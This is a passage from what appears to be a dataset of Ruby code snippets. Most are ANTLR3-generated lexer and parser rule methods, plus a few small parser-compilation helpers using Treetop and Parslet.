#{action.actions[0].class.name}\" )\n end\n \n \n #\n # If there is no action, we've got an error.\n \n when NilClass\n nyi( \"error\" )\n \n else\n nyi( \"not supported\", action )\n end\n end\n end", "def plan( &block )\n nested_class( 'Plan', Yacl::Define::Plan, &block )\n end", "def from\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 27 )\n from_start_index = @input.index\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return \n end\n # at line 306:7: ( 'F' | 'f' ) ( 'R' | 'r' ) ( 'O' | 'o' ) ( 'M' | 'm' )\n if @input.peek( 1 ).between?( T__30, T__31 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__20, T__21 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__18, T__19 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n if @input.peek( 1 ).between?( T__40, T__41 )\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 27 )\n memoize( __method__, from_start_index, success ) if @state.backtracking > 0\n\n end\n \n return \n end", "def parse(line)\n params = line.split(/\\s+/)\n return nil unless params[0] == 'instruction'\n\n spec_defs = params[2..-1]\n specs = parse_specs(spec_defs)\n\n specs\n end", "def t__46!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 17 )\n\n\n\n type = T__46\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 23:9: '::'\n match( \"::\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 17 )\n\n\n end", "def initialize\n compiler = Treetop::Compiler::GrammarCompiler.new\n @where = File.expand_path(File.dirname(__FILE__))\n grammar = File.join(@where, 'seqpar.treetop')\n output = File.join(@where, 'seqpar.rb')\n compiler.compile(grammar, output)\n load output\n File.delete(output)\n @parser = SeqParParser.new\n end", "def plan\n AcceptOn::Plan.new(@plan)\n end", "def compile(mod, grammar_or_parser, opts={})\r\n model = parser_model(grammar_or_parser)\r\n mod.module_eval ParserGenerator.code_for(model, opts)\r\n mod\r\n end", "def grammar_def\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 1)\n return_value = GrammarDefReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n g = nil\n __DOC_COMMENT1__ = nil\n string_literal2 = nil\n string_literal3 = nil\n string_literal4 = nil\n char_literal6 = nil\n __EOF12__ = nil\n id5 = nil\n options_spec7 = nil\n tokens_spec8 = nil\n attr_scope9 = nil\n action10 = nil\n rule11 = nil\n\n tree_for_g = nil\n tree_for_DOC_COMMENT1 = nil\n tree_for_string_literal2 = nil\n tree_for_string_literal3 = nil\n tree_for_string_literal4 = nil\n tree_for_char_literal6 = nil\n tree_for_EOF12 = nil\n stream_T__68 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__68\")\n stream_DOC_COMMENT = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token DOC_COMMENT\")\n stream_T__69 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__69\")\n stream_T__67 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__67\")\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__71\")\n stream_T__70 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__70\")\n stream_EOF = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token EOF\")\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule id\")\n stream_tokens_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule tokens_spec\")\n stream_rule = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule rule\")\n stream_options_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule options_spec\")\n stream_action = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule action\")\n stream_attr_scope = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule attr_scope\")\n begin\n # at line 95:9: ( DOC_COMMENT )? ( 'lexer' | 'parser' | 'tree' | ) g= 'grammar' id ';' ( options_spec )? ( tokens_spec )? ( attr_scope )* ( action )* ( rule )+ EOF\n # at line 95:9: ( DOC_COMMENT )?\n alt_1 = 2\n look_1_0 = @input.peek(1)\n\n if (look_1_0 == DOC_COMMENT) \n alt_1 = 1\n end\n case alt_1\n when 1\n # at line 95:9: DOC_COMMENT\n __DOC_COMMENT1__ = match(DOC_COMMENT, TOKENS_FOLLOWING_DOC_COMMENT_IN_grammar_def_295) \n if @state.backtracking == 0\n stream_DOC_COMMENT.add(__DOC_COMMENT1__)\n end\n\n end\n # at line 96:6: ( 'lexer' | 'parser' | 'tree' | )\n alt_2 = 4\n case look_2 = @input.peek(1)\n when T__67 then alt_2 = 1\n when T__68 then alt_2 = 2\n when T__69 then alt_2 = 3\n when T__70 then alt_2 = 4\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n\n nvae = NoViableAlternative(\"\", 2, 0)\n raise nvae\n end\n case alt_2\n when 1\n # at line 96:8: 'lexer'\n string_literal2 = match(T__67, TOKENS_FOLLOWING_T__67_IN_grammar_def_305) \n if @state.backtracking == 0\n stream_T__67.add(string_literal2)\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = LEXER_GRAMMAR \n # <-- action\n end\n\n when 2\n # at line 97:8: 'parser'\n string_literal3 = match(T__68, TOKENS_FOLLOWING_T__68_IN_grammar_def_321) \n if @state.backtracking == 0\n stream_T__68.add(string_literal3)\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = PARSER_GRAMMAR \n # <-- action\n end\n\n when 3\n # at line 98:8: 'tree'\n string_literal4 = match(T__69, TOKENS_FOLLOWING_T__69_IN_grammar_def_333) \n if @state.backtracking == 0\n stream_T__69.add(string_literal4)\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = TREE_GRAMMAR \n # <-- action\n end\n\n when 4\n # at line 99:16: \n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = COMBINED_GRAMMAR \n # <-- action\n end\n\n end\n g = match(T__70, TOKENS_FOLLOWING_T__70_IN_grammar_def_375) \n if @state.backtracking == 0\n stream_T__70.add(g)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_grammar_def_377)\n id5 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id5.tree)\n end\n char_literal6 = match(T__71, TOKENS_FOLLOWING_T__71_IN_grammar_def_379) \n if @state.backtracking == 0\n stream_T__71.add(char_literal6)\n end\n # at line 101:25: ( options_spec )?\n alt_3 = 2\n look_3_0 = @input.peek(1)\n\n if (look_3_0 == OPTIONS) \n alt_3 = 1\n end\n case alt_3\n when 1\n # at line 101:25: options_spec\n @state.following.push(TOKENS_FOLLOWING_options_spec_IN_grammar_def_381)\n options_spec7 = options_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_options_spec.add(options_spec7.tree)\n end\n\n end\n # at line 101:39: ( tokens_spec )?\n alt_4 = 2\n look_4_0 = @input.peek(1)\n\n if (look_4_0 == TOKENS) \n alt_4 = 1\n end\n case alt_4\n when 1\n # at line 101:39: tokens_spec\n @state.following.push(TOKENS_FOLLOWING_tokens_spec_IN_grammar_def_384)\n tokens_spec8 = tokens_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_tokens_spec.add(tokens_spec8.tree)\n end\n\n end\n # at line 101:52: ( attr_scope )*\n loop do #loop 5\n alt_5 = 2\n look_5_0 = @input.peek(1)\n\n if (look_5_0 == SCOPE) \n alt_5 = 1\n\n end\n case alt_5\n when 1\n # at line 101:52: attr_scope\n @state.following.push(TOKENS_FOLLOWING_attr_scope_IN_grammar_def_387)\n attr_scope9 = attr_scope\n @state.following.pop\n if @state.backtracking == 0\n stream_attr_scope.add(attr_scope9.tree)\n end\n\n else\n break #loop 5\n end\n end\n # at line 101:64: ( action )*\n loop do #loop 6\n alt_6 = 2\n look_6_0 = @input.peek(1)\n\n if (look_6_0 == AT) \n alt_6 = 1\n\n end\n case alt_6\n when 1\n # at line 101:64: action\n @state.following.push(TOKENS_FOLLOWING_action_IN_grammar_def_390)\n action10 = action\n @state.following.pop\n if @state.backtracking == 0\n stream_action.add(action10.tree)\n end\n\n else\n break #loop 6\n end\n end\n # at file 102:6: ( rule )+\n match_count_7 = 0\n loop do\n alt_7 = 2\n look_7_0 = @input.peek(1)\n\n if (look_7_0 == DOC_COMMENT || look_7_0 == FRAGMENT || look_7_0 == TOKEN_REF || look_7_0 == RULE_REF || look_7_0.between?(T__75, T__77)) \n alt_7 = 1\n\n end\n case alt_7\n when 1\n # at line 102:6: rule\n @state.following.push(TOKENS_FOLLOWING_rule_IN_grammar_def_398)\n rule11 = rule\n @state.following.pop\n if @state.backtracking == 0\n stream_rule.add(rule11.tree)\n end\n\n else\n match_count_7 > 0 and break\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n\n eee = EarlyExit(7)\n\n\n raise eee\n end\n match_count_7 += 1\n end\n\n __EOF12__ = match(EOF, TOKENS_FOLLOWING_EOF_IN_grammar_def_406) \n if @state.backtracking == 0\n stream_EOF.add(__EOF12__)\n end\n # AST Rewrite\n # elements: attr_scope, id, tokens_spec, action, options_spec, rule, DOC_COMMENT\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 104:6: -> ^( id ( DOC_COMMENT )? ( options_spec )? ( tokens_spec )? ( attr_scope )* ( action )* ( rule )+ )\n # at line 104:9: ^( id ( DOC_COMMENT )? ( options_spec )? ( tokens_spec )? ( attr_scope )* ( action )* ( rule )+ )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(@adaptor.create!(@grammar_type, g) , root_1)\n\n @adaptor.add_child(root_1, stream_id.next_tree)\n # at line 105:12: ( DOC_COMMENT )?\n if stream_DOC_COMMENT.has_next?\n @adaptor.add_child(root_1, stream_DOC_COMMENT.next_node)\n\n end\n\n stream_DOC_COMMENT.reset();\n # at line 105:25: ( options_spec )?\n if stream_options_spec.has_next?\n @adaptor.add_child(root_1, stream_options_spec.next_tree)\n\n end\n\n stream_options_spec.reset();\n # at line 105:39: ( tokens_spec )?\n if stream_tokens_spec.has_next?\n @adaptor.add_child(root_1, stream_tokens_spec.next_tree)\n\n end\n\n stream_tokens_spec.reset();\n # at line 105:52: ( attr_scope )*\n while stream_attr_scope.has_next?\n @adaptor.add_child(root_1, stream_attr_scope.next_tree)\n\n end\n\n stream_attr_scope.reset();\n # at line 105:64: ( action )*\n while stream_action.has_next?\n @adaptor.add_child(root_1, stream_action.next_tree)\n\n end\n\n stream_action.reset();\n # at line 105:72: ( rule )+\n unless stream_rule.has_next?\n raise ANTLR3::RewriteEarlyExit\n end\n\n while stream_rule.has_next?\n @adaptor.add_child(root_1, stream_rule.next_tree)\n\n end\n\n stream_rule.reset\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 1)\n\n end\n \n return return_value\n end", "def t__11!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n\n type = T__11\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 7:9: '('\n match( 0x28 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end", "def start(name)\n reset\n @name_str = name\n @name = str_to_sym(name)\n @code << <<-CODE\n\t\t\tdef parse_#{name}\n\t\t\t\tresult = productions[#{@name}].default.call(@scanner,self)\n\t\tCODE\n self\n end", "def grammar_def\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n return_value = GrammarDefReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n g = nil\n __DOC_COMMENT1__ = nil\n string_literal2 = nil\n string_literal3 = nil\n string_literal4 = nil\n char_literal6 = nil\n __EOF12__ = nil\n id5 = nil\n options_spec7 = nil\n tokens_spec8 = nil\n attr_scope9 = nil\n action10 = nil\n rule11 = nil\n\n tree_for_g = nil\n tree_for_DOC_COMMENT1 = nil\n tree_for_string_literal2 = nil\n tree_for_string_literal3 = nil\n tree_for_string_literal4 = nil\n tree_for_char_literal6 = nil\n tree_for_EOF12 = nil\n stream_T__68 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__68\" )\n stream_DOC_COMMENT = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token DOC_COMMENT\" )\n stream_T__69 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__69\" )\n stream_T__67 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__67\" )\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__71\" )\n stream_T__70 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__70\" )\n stream_EOF = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token EOF\" )\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule id\" )\n stream_tokens_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule tokens_spec\" )\n stream_rule = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule rule\" )\n stream_options_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule options_spec\" )\n stream_action = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule action\" )\n stream_attr_scope = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule attr_scope\" )\n begin\n # at line 86:9: ( DOC_COMMENT )? ( 'lexer' | 'parser' | 'tree' | ) g= 'grammar' id ';' ( options_spec )? ( tokens_spec )? ( attr_scope )* ( action )* ( rule )+ EOF\n # at line 86:9: ( DOC_COMMENT )?\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == DOC_COMMENT )\n alt_1 = 1\n end\n case alt_1\n when 1\n # at line 86:9: DOC_COMMENT\n __DOC_COMMENT1__ = match( DOC_COMMENT, TOKENS_FOLLOWING_DOC_COMMENT_IN_grammar_def_290 )\n if @state.backtracking == 0\n stream_DOC_COMMENT.add( __DOC_COMMENT1__ )\n end\n\n end\n # at line 87:6: ( 'lexer' | 'parser' | 'tree' | )\n alt_2 = 4\n case look_2 = @input.peek( 1 )\n when T__67 then alt_2 = 1\n when T__68 then alt_2 = 2\n when T__69 then alt_2 = 3\n when T__70 then alt_2 = 4\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 2, 0 )\n end\n case alt_2\n when 1\n # at line 87:8: 'lexer'\n string_literal2 = match( T__67, TOKENS_FOLLOWING_T__67_IN_grammar_def_300 )\n if @state.backtracking == 0\n stream_T__67.add( string_literal2 )\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = LEXER_GRAMMAR \n # <-- action\n end\n\n when 2\n # at line 88:8: 'parser'\n string_literal3 = match( T__68, TOKENS_FOLLOWING_T__68_IN_grammar_def_316 )\n if @state.backtracking == 0\n stream_T__68.add( string_literal3 )\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = PARSER_GRAMMAR \n # <-- action\n end\n\n when 3\n # at line 89:8: 'tree'\n string_literal4 = match( T__69, TOKENS_FOLLOWING_T__69_IN_grammar_def_328 )\n if @state.backtracking == 0\n stream_T__69.add( string_literal4 )\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = TREE_GRAMMAR \n # <-- action\n end\n\n when 4\n # at line 90:16: \n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @grammar_type = COMBINED_GRAMMAR \n # <-- action\n end\n\n end\n g = match( T__70, TOKENS_FOLLOWING_T__70_IN_grammar_def_370 )\n if @state.backtracking == 0\n stream_T__70.add( g )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_grammar_def_372 )\n id5 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id5.tree )\n end\n char_literal6 = match( T__71, TOKENS_FOLLOWING_T__71_IN_grammar_def_374 )\n if @state.backtracking == 0\n stream_T__71.add( char_literal6 )\n end\n # at line 92:25: ( options_spec )?\n alt_3 = 2\n look_3_0 = @input.peek( 1 )\n\n if ( look_3_0 == OPTIONS )\n alt_3 = 1\n end\n case alt_3\n when 1\n # at line 92:25: options_spec\n @state.following.push( TOKENS_FOLLOWING_options_spec_IN_grammar_def_376 )\n options_spec7 = options_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_options_spec.add( options_spec7.tree )\n end\n\n end\n # at line 92:39: ( tokens_spec )?\n alt_4 = 2\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0 == TOKENS )\n alt_4 = 1\n end\n case alt_4\n when 1\n # at line 92:39: tokens_spec\n @state.following.push( TOKENS_FOLLOWING_tokens_spec_IN_grammar_def_379 )\n tokens_spec8 = tokens_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_tokens_spec.add( tokens_spec8.tree )\n end\n\n end\n # at line 92:52: ( attr_scope )*\n while true # decision 5\n alt_5 = 2\n look_5_0 = @input.peek( 1 )\n\n if ( look_5_0 == SCOPE )\n alt_5 = 1\n\n end\n case alt_5\n when 1\n # at line 92:52: attr_scope\n @state.following.push( TOKENS_FOLLOWING_attr_scope_IN_grammar_def_382 )\n attr_scope9 = attr_scope\n @state.following.pop\n if @state.backtracking == 0\n stream_attr_scope.add( attr_scope9.tree )\n end\n\n else\n break # out of loop for decision 5\n end\n end # loop for decision 5\n # at line 92:64: ( action )*\n while true # decision 6\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0 == AT )\n alt_6 = 1\n\n end\n case alt_6\n when 1\n # at line 92:64: action\n @state.following.push( TOKENS_FOLLOWING_action_IN_grammar_def_385 )\n action10 = action\n @state.following.pop\n if @state.backtracking == 0\n stream_action.add( action10.tree )\n end\n\n else\n break # out of loop for decision 6\n end\n end # loop for decision 6\n # at file 93:6: ( rule )+\n match_count_7 = 0\n while true\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == DOC_COMMENT || look_7_0 == FRAGMENT || look_7_0 == TOKEN_REF || look_7_0 == RULE_REF || look_7_0.between?( T__75, T__77 ) )\n alt_7 = 1\n\n end\n case alt_7\n when 1\n # at line 93:6: rule\n @state.following.push( TOKENS_FOLLOWING_rule_IN_grammar_def_393 )\n rule11 = rule\n @state.following.pop\n if @state.backtracking == 0\n stream_rule.add( rule11.tree )\n end\n\n else\n match_count_7 > 0 and break\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n eee = EarlyExit(7)\n\n\n raise eee\n end\n match_count_7 += 1\n end\n\n __EOF12__ = match( EOF, TOKENS_FOLLOWING_EOF_IN_grammar_def_401 )\n if @state.backtracking == 0\n stream_EOF.add( __EOF12__ )\n end\n # AST Rewrite\n # elements: id, rule, options_spec, DOC_COMMENT, action, attr_scope, tokens_spec\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 95:6: -> ^( id ( DOC_COMMENT )? ( options_spec )? ( tokens_spec )? ( attr_scope )* ( action )* ( rule )+ )\n # at line 95:9: ^( id ( DOC_COMMENT )? ( options_spec )? ( tokens_spec )? ( attr_scope )* ( action )* ( rule )+ )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( ( @adaptor.create(@grammar_type, g) ), root_1 )\n\n @adaptor.add_child( root_1, stream_id.next_tree )\n # at line 96:12: ( DOC_COMMENT )?\n if stream_DOC_COMMENT.has_next?\n @adaptor.add_child( root_1, stream_DOC_COMMENT.next_node )\n\n end\n\n stream_DOC_COMMENT.reset();\n # at line 96:25: ( options_spec )?\n if stream_options_spec.has_next?\n @adaptor.add_child( root_1, stream_options_spec.next_tree )\n\n end\n\n stream_options_spec.reset();\n # at line 96:39: ( tokens_spec )?\n if stream_tokens_spec.has_next?\n @adaptor.add_child( root_1, stream_tokens_spec.next_tree )\n\n end\n\n stream_tokens_spec.reset();\n # at line 96:52: ( attr_scope )*\n while stream_attr_scope.has_next?\n @adaptor.add_child( root_1, stream_attr_scope.next_tree )\n\n end\n\n stream_attr_scope.reset();\n # at line 96:64: ( action )*\n while stream_action.has_next?\n @adaptor.add_child( root_1, stream_action.next_tree )\n\n end\n\n stream_action.reset();\n # at line 96:72: ( rule )+\n stream_rule.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_rule.has_next?\n @adaptor.add_child( root_1, stream_rule.next_tree )\n\n end\n stream_rule.reset\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end\n \n return return_value\n end", "def parse()\n\n\n begin\n @ruleStack.push('parse')\n # dice.g:42:8: ( expr )\n # dice.g:42:8: expr\n\n #@following.push(FOLLOW_expr_in_parse50)\n expr()\n #@following.pop\n\n\n\n\n rescue ANTLR::RecognitionException => e\n report_error(e)\n #raise e\n ensure\n @ruleStack.pop\n end\n\n end", "def t__68!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 13)\n\n type = T__68\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 19:9: 'parser'\n match(\"parser\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 13)\n\n end", "def t__14!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 7 )\n\n type = T__14\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 23:9: 'P'\n match( 0x50 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 7 )\n\n end", "def plan; end", "def to_rule\n compiler.visit(to_ast)\n end", "def statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n return_value = StatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n create_table2 = nil\n create_index3 = nil\n\n\n begin\n # at line 21:3: ( create_table | create_index )\n alt_2 = 2\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0 == CREATE_TABLE )\n alt_2 = 1\n elsif ( look_2_0 == CREATE_INDEX )\n alt_2 = 2\n else\n raise NoViableAlternative( \"\", 2, 0 )\n end\n case alt_2\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 21:5: create_table\n @state.following.push( TOKENS_FOLLOWING_create_table_IN_statement_101 )\n create_table2 = create_table\n @state.following.pop\n @adaptor.add_child( root_0, create_table2.tree )\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 22:5: create_index\n @state.following.push( TOKENS_FOLLOWING_create_index_IN_statement_107 )\n create_index3 = create_index\n @state.following.pop\n @adaptor.add_child( root_0, create_index3.tree )\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n \n return return_value\n end", "def t__73!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 18)\n\n type = T__73\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 24:9: '::'\n match(\"::\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 18)\n\n end", "def parse(source); end", "def head!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n type = HEAD\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 321:7: 'head'\n match( \"head\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end", "def corder!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n\n\n type = CORDER\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 297:3: ']'\n match( 0x5d )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n\n end", "def parse(source_buffer); end", "def parse(source_buffer); end", "def parse(source_buffer); end", "def statements\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n return_value = StatementsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n statement1 = nil\n\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 18:5: ( statement )+\n # at file 18:5: ( statement )+\n match_count_1 = 0\n while true\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0.between?( CREATE_TABLE, CREATE_INDEX ) )\n alt_1 = 1\n\n end\n case alt_1\n when 1\n # at line 18:5: statement\n @state.following.push( TOKENS_FOLLOWING_statement_IN_statements_90 )\n statement1 = statement\n @state.following.pop\n @adaptor.add_child( root_0, statement1.tree )\n\n else\n match_count_1 > 0 and break\n eee = EarlyExit(1)\n\n\n raise eee\n end\n match_count_1 += 1\n end\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end\n \n return return_value\n end", "def parse(parse_info)\r\n up_source = CaseFilterSource.new(parse_info.src)\r\n new_info = ParseInfo.new(parse_info.parser, up_source, parse_info.dst)\r\n @children[0].parse(new_info)\r\n end", "def rule(name, parslet)\n \" rule #{mangle_name name}\\n\" << \n \" \" << parslet.accept(visitor) << \"\\n\" <<\n \" end\\n\"\n end", "def compile(source)\n regexp = Regexp.compile(source)\n expression = parse(regexp)\n Regexp.compile(expression.to_s(true), expression.flags)\n end", "def source_elements\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n return_value = SourceElementsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n statement2 = nil\n statement3 = nil\n\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 256:5: statement ( statement )*\n @state.following.push( TOKENS_FOLLOWING_statement_IN_source_elements_1780 )\n statement2 = statement\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, statement2.tree )\n end\n # at line 256:15: ( statement )*\n while true # decision 2\n alt_2 = 2\n look_2_0 = @input.peek( 1 